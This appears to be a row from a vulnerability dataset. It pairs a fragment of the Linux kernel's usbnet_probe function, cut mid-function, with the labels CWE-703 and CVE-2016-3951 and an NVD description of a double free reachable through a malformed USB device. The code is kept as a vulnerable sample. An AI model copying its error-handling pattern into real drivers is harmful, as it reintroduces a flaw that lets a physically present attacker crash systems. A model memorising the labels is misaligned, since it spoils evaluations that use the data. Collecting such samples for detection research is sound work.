strcpy(net->name, "wlan%d");
/* WWAN devices should always be named "wwan%d" */
if ((dev->driver_info->flags & FLAG_WWAN) != 0)
strcpy(net->name, "wwan%d");
/* devices that cannot do ARP */
if ((dev->driver_info->flags & FLAG_NOARP) != 0)
net->flags |= IFF_NOARP;
/* maybe the remote can't receive an Ethernet MTU */
if (net->mtu > (dev->hard_mtu - net->hard_header_len))
net->mtu = dev->hard_mtu - net->hard_header_len;
} else if (!info->in || !info->out)
status = usbnet_get_endpoints (dev, udev);
else {
dev->in = usb_rcvbulkpipe (xdev, info->in);
dev->out = usb_sndbulkpipe (xdev, info->out);
if (!(info->flags & FLAG_NO_SETINT))
status = usb_set_interface (xdev,
interface->desc.bInterfaceNumber,
interface->desc.bAlternateSetting);
else
status = 0;
}
if (status >= 0 && dev->status)
status = init_status (dev, udev);
if (status < 0)
goto out3;
if (!dev->rx_urb_size)
dev->rx_urb_size = dev->hard_mtu;
dev->maxpacket = usb_maxpacket (dev->udev, dev->out, 1);
/* let userspace know we have a random address */
if (ether_addr_equal(net->dev_addr, node_id))
net->addr_assign_type = NET_ADDR_RANDOM;
if ((dev->driver_info->flags & FLAG_WLAN) != 0)
SET_NETDEV_DEVTYPE(net, &wlan_type);
if ((dev->driver_info->flags & FLAG_WWAN) != 0)
SET_NETDEV_DEVTYPE(net, &wwan_type);
/* initialize max rx_qlen and tx_qlen */
usbnet_update_max_qlen(dev);
if (dev->can_dma_sg && !(info->flags & FLAG_SEND_ZLP) &&
!(info->flags & FLAG_MULTI_PACKET)) {
dev->padding_pkt = kzalloc(1, GFP_KERNEL);
if (!dev->padding_pkt) {
status = -ENOMEM;
goto out4;
}
}
status = register_netdev (net);
if (status)
goto out5;
netif_info(dev, probe, dev->net,
"register '%s' at usb-%s-%s, %s, %pM\n",
udev->dev.driver->name,
xdev->bus->bus_name, xdev->devpath,
dev->driver_info->description,
net->dev_addr);
usb_set_intfdata (udev, dev);
netif_device_attach (net);
if (dev->driver_info->flags & FLAG_LINK_INTR)
usbnet_link_change(dev, 0, 0);
return 0;
out5:
kfree(dev->padding_pkt);
out4:
usb_free_urb(dev->interrupt);
out3:
if (info->unbind)
info->unbind (dev, udev);
out1:
free_netdev(net);
out:
return status;
}
| 17,911,033,984,720,165,000,000,000,000,000,000,000 | None | null | [
"CWE-703"
] | CVE-2016-3951 | Double free vulnerability in drivers/net/usb/cdc_ncm.c in the Linux kernel before 4.5 allows physically proximate attackers to cause a denial of service (system crash) or possibly have unspecified other impact by inserting a USB device with an invalid USB descriptor. | https://nvd.nist.gov/vuln/detail/CVE-2016-3951 |
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